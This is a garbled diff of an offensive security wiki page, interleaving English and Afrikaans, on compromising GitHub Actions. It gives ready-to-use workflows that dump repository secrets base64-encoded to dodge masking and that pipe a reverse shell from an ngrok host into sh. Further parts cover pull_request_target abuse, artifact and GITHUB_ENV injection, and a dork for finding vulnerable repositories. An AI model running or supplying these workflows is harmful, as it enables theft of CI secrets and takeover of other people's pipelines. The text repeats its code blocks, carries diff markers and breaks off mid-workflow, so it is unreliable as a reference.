> Note that in several occasions you will be able to find **github user tokens inside Github Actions envs or in the secrets**. These tokens may give you more privileges over the repository and organization.
|
||||
> Let daarop dat jy in verskeie gevalle **github gebruikers tokens binne Github Actions omgewings of in die geheime** sal vind. Hierdie tokens kan jou meer voorregte oor die repository en organisasie gee.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>List secrets in Github Action output</summary>
|
||||
|
||||
<summary>lys geheime in Github Action uitvoer</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
jobs:
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Get reverse shell with secrets</summary>
|
||||
|
||||
<summary>Kry omgekeerde skulp met geheime</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
jobs:
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
create_pull_request:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Get Rev Shell
|
||||
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
It's possible to check the permissions given to a Github Token in other users repositories **checking the logs** of the actions:
|
||||
Dit is moontlik om die toestemmings wat aan 'n Github Token gegee is in ander gebruikers se repositories **te kontroleer deur die logs** van die aksies:
|
||||
|
||||
<figure><img src="../../../images/image (286).png" alt="" width="269"><figcaption></figcaption></figure>
|
||||
|
||||
## Allowed Execution
|
||||
## Toegelate Uitvoering
|
||||
|
||||
> [!NOTE]
|
||||
> This would be the easiest way to compromise Github actions, as this case suppose that you have access to **create a new repo in the organization**, or have **write privileges over a repository**.
|
||||
> Dit sou die maklikste manier wees om Github aksies te kompromitteer, aangesien hierdie geval veronderstel dat jy toegang het om **'n nuwe repo in die organisasie te skep**, of **skryfregte oor 'n repository** het.
|
||||
>
|
||||
> If you are in this scenario you can just check the [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action).
|
||||
> As jy in hierdie scenario is, kan jy net die [Post Exploitation techniques](./#post-exploitation-techniques-from-inside-an-action) nagaan.
|
||||
|
||||
### Execution from Repo Creation
|
||||
### Uitvoering vanaf Repo Skepping
|
||||
|
||||
In case members of an organization can **create new repos** and you can execute github actions, you can **create a new repo and steal the secrets set at organization level**.
|
||||
In die geval dat lede van 'n organisasie **nuwe repos kan skep** en jy kan github aksies uitvoer, kan jy **'n nuwe repo skep en die geheime wat op organisasievlak gestel is, steel**.
|
||||
|
||||
### Execution from a New Branch
|
||||
### Uitvoering vanaf 'n Nuwe Tak
|
||||
|
||||
If you can **create a new branch in a repository that already contains a Github Action** configured, you can **modify** it, **upload** the content, and then **execute that action from the new branch**. This way you can **exfiltrate repository and organization level secrets** (but you need to know how they are called).
|
||||
|
||||
You can make the modified action executable **manually,** when a **PR is created** or when **some code is pushed** (depending on how noisy you want to be):
|
||||
As jy **'n nuwe tak in 'n repository kan skep wat reeds 'n Github Action** geconfigureer het, kan jy dit **wysig**, **die inhoud oplaai**, en dan **daardie aksie vanaf die nuwe tak uitvoer**. Op hierdie manier kan jy **repository en organisasievlak geheime** **uitvoer** (maar jy moet weet hoe hulle genoem word).
|
||||
|
||||
Jy kan die gewysigde aksie uitvoerbaar maak **handmatig,** wanneer 'n **PR geskep word** of wanneer **enige kode gepush word** (afhangende van hoe luidrugtig jy wil wees):
|
||||
```yaml
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- master
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- master
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- current_branch_name
|
||||
# Use '**' instead of a branh name to trigger the action in all the cranches
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Forked Execution
|
||||
## Forked Uitvoering
|
||||
|
||||
> [!NOTE]
|
||||
> There are different triggers that could allow an attacker to **execute a Github Action of another repository**. If those triggerable actions are poorly configured, an attacker could be able to compromise them.
|
||||
> Daar is verskillende triggers wat 'n aanvaller kan toelaat om **'n Github Action van 'n ander repository uit te voer**. As daardie triggerbare aksies swak geconfigureer is, kan 'n aanvaller in staat wees om hulle te kompromitteer.
|
||||
|
||||
### `pull_request`
|
||||
|
||||
The workflow trigger **`pull_request`** will execute the workflow every time a pull request is received with some exceptions: by default if it's the **first time** you are **collaborating**, some **maintainer** will need to **approve** the **run** of the workflow:
|
||||
Die werksvloei-trigger **`pull_request`** sal die werksvloei elke keer uitvoer wanneer 'n pull request ontvang word met 'n paar uitsonderings: standaard, as dit die **eerste keer** is dat jy **saamwerk**, sal 'n **onderhouer** die **uitvoering** van die werksvloei moet **goedkeur**:
|
||||
|
||||
<figure><img src="../../../images/image (184).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!NOTE]
|
||||
> As the **default limitation** is for **first-time** contributors, you could contribute **fixing a valid bug/typo** and then send **other PRs to abuse your new `pull_request` privileges**.
|
||||
> Aangesien die **standaard beperking** vir **eerste keer** bydraers is, kan jy **bydra tot die regstelling van 'n geldige fout/typo** en dan **ander PRs stuur om jou nuwe `pull_request` voorregte te misbruik**.
|
||||
>
|
||||
> **I tested this and it doesn't work**: ~~Another option would be to create an account with the name of someone that contributed to the project and deleted his account.~~
|
||||
> **Ek het dit getoets en dit werk nie**: ~~‘n Ander opsie sou wees om 'n rekening te skep met die naam van iemand wat by die projek bygedra het en sy rekening te verwyder.~~
|
||||
|
||||
Moreover, by default **prevents write permissions** and **secrets access** to the target repository as mentioned in the [**docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
Boonop **verhoed dit standaard skryfrechten** en **toegang tot geheime** tot die teikengebruikersrepo soos genoem in die [**dokumentasie**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflows-in-forked-repositories):
|
||||
|
||||
> With the exception of `GITHUB_TOKEN`, **secrets are not passed to the runner** when a workflow is triggered from a **forked** repository. The **`GITHUB_TOKEN` has read-only permissions** in pull requests **from forked repositories**.
|
||||
> Met die uitsondering van `GITHUB_TOKEN`, **word geheime nie aan die hardloper oorgedra** wanneer 'n werksvloei van 'n **forked** repository geaktiveer word nie. Die **`GITHUB_TOKEN` het slegs leesregte** in pull requests **van forked repositories**.
|
||||
|
||||
An attacker could modify the definition of the Github Action in order to execute arbitrary things and append arbitrary actions. However, he won't be able to steal secrets or overwrite the repo because of the mentioned limitations.
|
||||
'n Aanvaller kan die definisie van die Github Action wysig om arbitrêre dinge uit te voer en arbitrêre aksies by te voeg. Hy sal egter nie in staat wees om geheime te steel of die repo te oorskryf nie weens die genoem beperkings.
|
||||
|
||||
> [!CAUTION]
|
||||
> **Yes, if the attacker change in the PR the github action that will be triggered, his Github Action will be the one used and not the one from the origin repo!**
|
||||
> **Ja, as die aanvaller die github action in die PR verander wat geaktiveer sal word, sal sy Github Action die een wees wat gebruik word en nie die een van die oorspronklike repo nie!**
|
||||
|
||||
As the attacker also controls the code being executed, even if there aren't secrets or write permissions on the `GITHUB_TOKEN` an attacker could for example **upload malicious artifacts**.
|
||||
Aangesien die aanvaller ook die kode wat uitgevoer word, beheer, selfs al is daar geen geheime of skryfrechten op die `GITHUB_TOKEN` nie, kan 'n aanvaller byvoorbeeld **kwaadaardige artefakte oplaai**.
|
||||
|
||||
### **`pull_request_target`**
|
||||
|
||||
The workflow trigger **`pull_request_target`** have **write permission** to the target repository and **access to secrets** (and doesn't ask for permission).
|
||||
Die werksvloei-trigger **`pull_request_target`** het **skryfrechten** tot die teikengebruikersrepo en **toegang tot geheime** (en vra nie vir toestemming nie).
|
||||
|
||||
Note that the workflow trigger **`pull_request_target`** **runs in the base context** and not in the one given by the PR (to **not execute untrusted code**). For more info about `pull_request_target` [**check the docs**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Moreover, for more info about this specific dangerous use check this [**github blog post**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
Let daarop dat die werksvloei-trigger **`pull_request_target`** **in die basis konteks** loop en nie in die een gegee deur die PR nie (om **nie onbetroubare kode uit te voer**). Vir meer inligting oor `pull_request_target` [**kyk die dokumentasie**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#pull_request_target).\
|
||||
Boonop, vir meer inligting oor hierdie spesifieke gevaarlike gebruik, kyk hierdie [**github blog pos**](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/).
|
||||
|
||||
It might look like because the **executed workflow** is the one defined in the **base** and **not in the PR** it's **secure** to use **`pull_request_target`**, but there are a **few cases were it isn't**.
|
||||
Dit mag lyk asof die **uitgevoerde werksvloei** die een is wat in die **basis** gedefinieer is en **nie in die PR nie**, dit is **veilig** om **`pull_request_target`** te gebruik, maar daar is 'n **paar gevalle waar dit nie is nie**.
|
||||
|
||||
An this one will have **access to secrets**.
|
||||
En hierdie een sal **toegang tot geheime** hê.
|
||||
|
||||
### `workflow_run`
|
||||
|
||||
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
|
||||
|
||||
In this example, a workflow is configured to run after the separate "Run Tests" workflow completes:
|
||||
Die [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger laat toe om 'n werksvloei van 'n ander een uit te voer wanneer dit `voltooi`, `gevraag` of `in_progress` is.
|
||||
|
||||
In hierdie voorbeeld is 'n werksvloei geconfigureer om uit te voer nadat die aparte "Toets Hardloop" werksvloei voltooi is:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
workflow_run:
|
||||
workflows: [Run Tests]
|
||||
types:
|
||||
- completed
|
||||
```
|
||||
Moreover, according to the docs: Die werksvloei wat deur die `workflow_run` gebeurtenis begin is, kan **toegang tot geheime hê en tokens skryf, selfs al was die vorige werksvloei nie**.
|
||||
|
||||
Moreover, according to the docs: The workflow started by the `workflow_run` event is able to **access secrets and write tokens, even if the previous workflow was not**.
|
||||
|
||||
This kind of workflow could be attacked if it's **depending** on a **workflow** that can be **triggered** by an external user via **`pull_request`** or **`pull_request_target`**. A couple of vulnerable examples can be [**found this blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)**.** The first one consist on the **`workflow_run`** triggered workflow downloading out the attackers code: `${{ github.event.pull_request.head.sha }}`\
|
||||
The second one consist on **passing** an **artifact** from the **untrusted** code to the **`workflow_run`** workflow and using the content of this artifact in a way that makes it **vulnerable to RCE**.
|
||||
Hierdie tipe werksvloei kan aangeval word as dit **afhang** van 'n **werksvloei** wat deur 'n eksterne gebruiker via **`pull_request`** of **`pull_request_target`** geaktiveer kan word. 'n Paar kwesbare voorbeelde kan [**hierdie blog**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability)** gevind word.** Die eerste een bestaan uit die **`workflow_run`** geaktiveerde werksvloei wat die aanvallerskode aflaai: `${{ github.event.pull_request.head.sha }}`\
|
||||
Die tweede een bestaan uit **die oordrag** van 'n **artefak** van die **onbetroubare** kode na die **`workflow_run`** werksvloei en die gebruik van die inhoud van hierdie artefak op 'n manier wat dit **kwesbaar maak vir RCE**.
|
||||
|
||||
### `workflow_call`
|
||||
|
||||
TODO
|
||||
|
||||
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
|
||||
TODO: Kontroleer of wanneer dit vanaf 'n pull_request uitgevoer word, die gebruikte/afgelaaide kode die een van die oorsprong of van die geforkte PR is.
|
||||
|
||||
## Abusing Forked Execution
|
||||
## Misbruik van Geforkte Uitvoering
|
||||
|
||||
We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
|
||||
Ons het al die maniere genoem hoe 'n eksterne aanvaller 'n github werksvloei kan laat uitvoer, kom ons kyk nou na hoe hierdie uitvoerings, as dit sleg geconfigureer is, misbruik kan word:
|
||||
|
||||
### Untrusted checkout execution
|
||||
### Onbetroubare checkout uitvoering
|
||||
|
||||
In the case of **`pull_request`,** the workflow is going to be executed in the **context of the PR** (so it'll execute the **malicious PRs code**), but someone needs to **authorize it first** and it will run with some [limitations](./#pull_request).
|
||||
In die geval van **`pull_request`,** sal die werksvloei in die **konsep van die PR** uitgevoer word (so dit sal die **kwesbare PR se kode** uitvoer), maar iemand moet dit **eers goedkeur** en dit sal met 'n paar [beperkings](./#pull_request) loop.
|
||||
|
||||
In case of a workflow using **`pull_request_target` or `workflow_run`** that depends on a workflow that can be triggered from **`pull_request_target` or `pull_request`** the code from the original repo will be executed, so the **attacker cannot control the executed code**.
|
||||
In die geval van 'n werksvloei wat **`pull_request_target` of `workflow_run`** gebruik wat afhang van 'n werksvloei wat vanaf **`pull_request_target` of `pull_request`** geaktiveer kan word, sal die kode van die oorspronklike repo uitgevoer word, so die **aanvaller kan nie die uitgevoerde kode beheer nie**.
|
||||
|
||||
> [!CAUTION]
|
||||
> However, if the **action** has an **explicit PR checkou**t that will **get the code from the PR** (and not from base), it will use the attackers controlled code. For example (check line 12 where the PR code is downloaded):
|
||||
> egter, as die **aksie** 'n **duidelike PR checkout** het wat **die kode van die PR** sal **kry** (en nie van die basis nie), sal dit die aanvallers beheerde kode gebruik. Byvoorbeeld (kyk na lyn 12 waar die PR kode afgelaai word):
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml"># INSECURE. Provided as an example only.
|
||||
<pre class="language-yaml"><code class="lang-yaml"># ONVEILIG. Slegs as 'n voorbeeld verskaf.
|
||||
on:
|
||||
pull_request_target
|
||||
pull_request_target
|
||||
|
||||
jobs:
|
||||
build:
|
||||
name: Build and test
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
build:
|
||||
name: Bou en toets
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
<strong> - uses: actions/checkout@v2
|
||||
</strong><strong> with:
|
||||
</strong><strong> ref: ${{ github.event.pull_request.head.sha }}
|
||||
</strong>
|
||||
- uses: actions/setup-node@v1
|
||||
- run: |
|
||||
npm install
|
||||
npm build
|
||||
- uses: actions/setup-node@v1
|
||||
- run: |
|
||||
npm install
|
||||
npm build
|
||||
|
||||
- uses: completely/fakeaction@v2
|
||||
with:
|
||||
arg1: ${{ secrets.supersecret }}
|
||||
- uses: completely/fakeaction@v2
|
||||
with:
|
||||
arg1: ${{ secrets.supersecret }}
|
||||
|
||||
- uses: fakerepo/comment-on-pr@v1
|
||||
with:
|
||||
message: |
|
||||
Thank you!
|
||||
- uses: fakerepo/comment-on-pr@v1
|
||||
with:
|
||||
message: |
|
||||
Dankie!
|
||||
</code></pre>
|
||||
|
||||
The potentially **untrusted code is being run during `npm install` or `npm build`** as the build scripts and referenced **packages are controlled by the author of the PR**.
|
||||
Die potensieel **onbetroubare kode word tydens `npm install` of `npm build`** uitgevoer aangesien die bou skripte en verwysde **pakkette deur die outeur van die PR** beheer word.
|
||||
|
||||
> [!WARNING]
|
||||
> A github dork to search for vulnerable actions is: `event.pull_request pull_request_target extension:yml` however, there are different ways to configure the jobs to be executed securely even if the action is configured insecurely (like using conditionals about who is the actor generating the PR).
|
||||
> 'n github dork om vir kwesbare aksies te soek is: `event.pull_request pull_request_target extension:yml` egter, daar is verskillende maniere om die werksgeleenthede te konfigureer om veilig uitgevoer te word selfs al is die aksie onveilig geconfigureer (soos om voorwaardes te gebruik oor wie die akteur is wat die PR genereer).
|
||||
|
||||
### Context Script Injections <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
### Konteks Skrip Injekties <a href="#understanding-the-risk-of-script-injections" id="understanding-the-risk-of-script-injections"></a>
|
||||
|
||||
Note that there are certain [**github contexts**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) whose values are **controlled** by the **user** creating the PR. If the github action is using that **data to execute anything**, it could lead to **arbitrary code execution:**
|
||||
Let daarop dat daar sekere [**github kontekste**](https://docs.github.com/en/actions/reference/context-and-expression-syntax-for-github-actions#github-context) is waarvan die waardes **beheer** word deur die **gebruiker** wat die PR skep. As die github aksie daardie **data gebruik om enigiets uit te voer**, kan dit lei tot **arbitraire kode uitvoering:**
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-context-script-injections.md
|
||||
{{#endref}}
|
||||
|
||||
### **GITHUB_ENV Script Injection** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
### **GITHUB_ENV Skrip Injekie** <a href="#what-is-usdgithub_env" id="what-is-usdgithub_env"></a>
|
||||
|
||||
From the docs: You can make an **environment variable available to any subsequent steps** in a workflow job by defining or updating the environment variable and writing this to the **`GITHUB_ENV`** environment file.
|
||||
Volgens die dokumentasie: Jy kan 'n **omgewing veranderlike beskikbaar maak vir enige daaropvolgende stappe** in 'n werksvloei taak deur die omgewing veranderlike te definieer of op te dateer en dit na die **`GITHUB_ENV`** omgewing lêer te skryf.
|
||||
|
||||
If an attacker could **inject any value** inside this **env** variable, he could inject env variables that could execute code in following steps such as **LD_PRELOAD** or **NODE_OPTIONS**.
|
||||
As 'n aanvaller **enige waarde** binne hierdie **env** veranderlike kan **injekteer**, kan hy env veranderlikes injekteer wat kode in daaropvolgende stappe kan uitvoer soos **LD_PRELOAD** of **NODE_OPTIONS**.
|
||||
|
||||
For example ([**this**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) and [**this**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), imagine a workflow that is trusting an uploaded artifact to store its content inside **`GITHUB_ENV`** env variable. An attacker could upload something like this to compromise it:
|
||||
Byvoorbeeld ([**hierdie**](https://www.legitsecurity.com/blog/github-privilege-escalation-vulnerability-0) en [**hierdie**](https://www.legitsecurity.com/blog/-how-we-found-another-github-action-environment-injection-vulnerability-in-a-google-project)), stel jou voor 'n werksvloei wat 'n geupload artefak vertrou om sy inhoud binne die **`GITHUB_ENV`** env veranderlike te stoor. 'n Aanvaller kan iets soos dit oplaai om dit te kompromitteer:
|
||||
|
||||
<figure><img src="../../../images/image (261).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Vulnerable Third Party Github Actions
|
||||
### Kwesbare Derdeparty Github Aksies
|
||||
|
||||
#### [dawidd6/action-download-artifact](https://github.com/dawidd6/action-download-artifact)
|
||||
|
||||
As mentioned in [**this blog post**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), this Github Action allows to access artifacts from different workflows and even repositories.
|
||||
Soos genoem in [**hierdie blogpos**](https://www.legitsecurity.com/blog/github-actions-that-open-the-door-to-cicd-pipeline-attacks), laat hierdie Github Aksie toe om toegang tot artefakte van verskillende werksvloei en selfs repositories te verkry.
|
||||
|
||||
The thing problem is that if the **`path`** parameter isn't set, the artifact is extracted in the current directory and it can override files that could be later used or even executed in the workflow. Therefore, if the Artifact is vulnerable, an attacker could abuse this to compromise other workflows trusting the Artifact.
|
||||
|
||||
Example of vulnerable workflow:
|
||||
Die probleem is dat as die **`path`** parameter nie gestel is nie, die artefak in die huidige gids uitgepak word en dit kan lêers oorskryf wat later in die werksvloei gebruik of selfs uitgevoer kan word. Daarom, as die Artefak kwesbaar is, kan 'n aanvaller dit misbruik om ander werksvloei wat die Artefak vertrou, te kompromitteer.
|
||||
|
||||
Voorbeeld van kwesbare werksvloei:
|
||||
```yaml
|
||||
on:
|
||||
workflow_run:
|
||||
workflows: ["some workflow"]
|
||||
types:
|
||||
- completed
|
||||
workflow_run:
|
||||
workflows: ["some workflow"]
|
||||
types:
|
||||
- completed
|
||||
|
||||
jobs:
|
||||
success:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: download artifact
|
||||
uses: dawidd6/action-download-artifact
|
||||
with:
|
||||
workflow: ${{ github.event.workflow_run.workflow_id }}
|
||||
name: artifact
|
||||
- run: python ./script.py
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
success:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
- name: download artifact
|
||||
uses: dawidd6/action-download-artifact
|
||||
with:
|
||||
workflow: ${{ github.event.workflow_run.workflow_id }}
|
||||
name: artifact
|
||||
- run: python ./script.py
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
```
|
||||
|
||||
This could be attacked with this workflow:
|
||||
|
||||
Dit kan aangeval word met hierdie werksvloei:
|
||||
```yaml
|
||||
name: "some workflow"
|
||||
on: pull_request
|
||||
|
||||
jobs:
|
||||
upload:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- run: echo "print('exploited')" > ./script.py
|
||||
- uses actions/upload-artifact@v2
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
upload:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- run: echo "print('exploited')" > ./script.py
|
||||
- uses actions/upload-artifact@v2
|
||||
with:
|
||||
name: artifact
|
||||
path: ./script.py
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Other External Access
|
||||
## Ander Eksterne Toegang
|
||||
|
||||
### Deleted Namespace Repo Hijacking
|
||||
### Verwyderde Namespace Repo Hijacking
|
||||
|
||||
If an account changes it's name another user could register an account with that name after some time. If a repository had **less than 100 stars previously to the change of nam**e, Github will allow the new register user with the same name to create a **repository with the same name** as the one deleted.
|
||||
As 'n rekening sy naam verander, kan 'n ander gebruiker 'n rekening met daardie naam registreer na 'n tyd. As 'n repository **minder as 100 sterre gehad het voor die naamsverandering**, sal Github die nuwe geregistreerde gebruiker met dieselfde naam toelaat om 'n **repository met dieselfde naam** as die een wat verwyder is, te skep.
|
||||
|
||||
> [!CAUTION]
|
||||
> So if an action is using a repo from a non-existent account, it's still possible that an attacker could create that account and compromise the action.
|
||||
> So as 'n aksie 'n repo van 'n nie-bestaande rekening gebruik, is dit steeds moontlik dat 'n aanvaller daardie rekening kan skep en die aksie kan kompromitteer.
|
||||
|
||||
If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
As ander repositories **afhangklikhede van hierdie gebruiker repos** gebruik, sal 'n aanvaller in staat wees om hulle te hijack. Hier is 'n meer volledige verduideliking: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
|
||||
|
||||
---
|
||||
|
||||
## Repo Pivoting
|
||||
|
||||
> [!NOTE]
|
||||
> In this section we will talk about techniques that would allow to **pivot from one repo to another** supposing we have some kind of access on the first one (check the previous section).
|
||||
> In hierdie afdeling sal ons praat oor tegnieke wat sou toelaat om te **pivot van een repo na 'n ander** mits ons 'n soort toegang op die eerste een het (kyk na die vorige afdeling).
|
||||
|
||||
### Cache Poisoning
|
||||
|
||||
A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
|
||||
'n Cache word tussen **workflow-uitvoerings in dieselfde tak** gehandhaaf. Dit beteken dat as 'n aanvaller **kompromitteer** 'n **pakket** wat dan in die cache gestoor word en **afgelaai** en uitgevoer word deur 'n **meer bevoorregte** workflow, hy ook daardie workflow sal kan **kompromitteer**.
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-cache-poisoning.md
|
||||
@@ -386,7 +368,7 @@ gh-actions-cache-poisoning.md
|
||||
|
||||
### Artifact Poisoning
|
||||
|
||||
Workflows could use **artifacts from other workflows and even repos**, if an attacker manages to **compromise** the Github Action that **uploads an artifact** that is later used by another workflow he could **compromise the other workflows**:
|
||||
Workflows kan **artifacts van ander workflows en selfs repos** gebruik, as 'n aanvaller daarin slaag om die Github Action wat 'n **artifact** oplaai wat later deur 'n ander workflow gebruik word, te **kompromitteer**, kan hy die **ander workflows** ook **kompromitteer**:
|
||||
|
||||
{{#ref}}
|
||||
gh-actions-artifact-poisoning.md
|
||||
@@ -394,11 +376,11 @@ gh-actions-artifact-poisoning.md
|
||||
|
||||
---
|
||||
|
||||
## Post Exploitation from an Action
|
||||
## Post Exploitation van 'n Aksie
|
||||
|
||||
### Accessing AWS and GCP via OIDC
|
||||
### Toegang tot AWS en GCP via OIDC
|
||||
|
||||
Check the following pages:
|
||||
Kyk na die volgende bladsye:
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md
|
||||
@@ -408,170 +390,160 @@ Check the following pages:
|
||||
../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
### Accessing secrets <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
### Toegang tot geheime <a href="#accessing-secrets" id="accessing-secrets"></a>
|
||||
|
||||
If you are injecting content into a script it's interesting to know how you can access secrets:
|
||||
As jy inhoud in 'n skrif inspuit, is dit interessant om te weet hoe jy toegang tot geheime kan kry:
|
||||
|
||||
- If the secret or token is set to an **environment variable**, it can be directly accessed through the environment using **`printenv`**.
|
||||
- As die geheim of token op 'n **omgewing veranderlike** gestel is, kan dit direk deur die omgewing met **`printenv`** aangespreek word.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>List secrets in Github Action output</summary>
|
||||
|
||||
<summary>Lys geheime in Github Action-uitvoer</summary>
|
||||
```yaml
|
||||
name: list_env
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- '**'
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- '**'
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- '**'
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- '**'
|
||||
jobs:
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
List_env:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: List Env
|
||||
# Need to base64 encode or github will change the secret value for "***"
|
||||
run: sh -c 'env | grep "secret_" | base64 -w0'
|
||||
env:
|
||||
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
|
||||
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Get reverse shell with secrets</summary>
|
||||
|
||||
<summary>Kry omgekeerde skulp met geheime</summary>
|
||||
```yaml
|
||||
name: revshell
|
||||
on:
|
||||
workflow_dispatch: # Launch manually
|
||||
pull_request: #Run it when a PR is created to a branch
|
||||
branches:
|
||||
- "**"
|
||||
push: # Run it when a push is made to a branch
|
||||
branches:
|
||||
- "**"
|
||||
workflow_dispatch: # Launch manually
|
||||
